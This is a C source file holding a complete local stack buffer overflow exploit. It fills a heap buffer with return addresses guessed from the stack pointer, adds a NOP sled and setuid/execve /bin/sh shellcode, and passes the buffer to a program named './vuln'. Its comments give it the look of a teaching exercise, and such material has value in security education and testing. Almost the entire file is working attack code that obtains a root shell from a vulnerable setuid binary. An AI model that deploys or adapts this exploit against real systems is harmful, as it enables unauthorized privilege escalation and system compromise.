#include <stdio.h>
#include <stdlib.h>

/*
 * Note that the return address we should use should always point to
 * the stack frame's (ESP - offset), where offset = the number of bytes
 * to skip before the buffer where our shellcode will reside.
 */
unsigned long sp(void) { __asm__("movl %esp, %eax");}

/* setuid/execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org */
char shellcode[] =
"\xeb\x22\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x5e\x31\xc0\x88\x46\x07"
"\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";

int main() {

	int i;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;
	esp = sp();

	printf("Desired return address\t\t: 0x%x\n", esp);

	/* This will allocate our temporary buffer, which will go on the heap. */
	buffer = malloc(600);

	ptr = buffer;
	addr_ptr = (long *) ptr;
	/* Populate our buffer with return addresses */
	for( i = 0; i < 600; i+=4 ) {
		*(addr_ptr++) = esp;
	}

	/* Populate the first 200 bytes with a NOP sled */
	for( i = 0; i < 200; i++ ) {
		buffer[i] = '\x90';
	}

	ptr = buffer + 200;
	/* Insert the shellcode after the NOP sled */
	for( i = 0; i < strlen(shellcode); i++ ) {
		*(ptr++) = shellcode[i];
	}

	/* Terminate the buffer with null */
	buffer[600-1] = 0;

	/* Execute the vulnerable program with our payload */
	execl("./vuln", "vuln", buffer, 0);

	/* Just clean up */
	free(buffer);
	return 0;

}
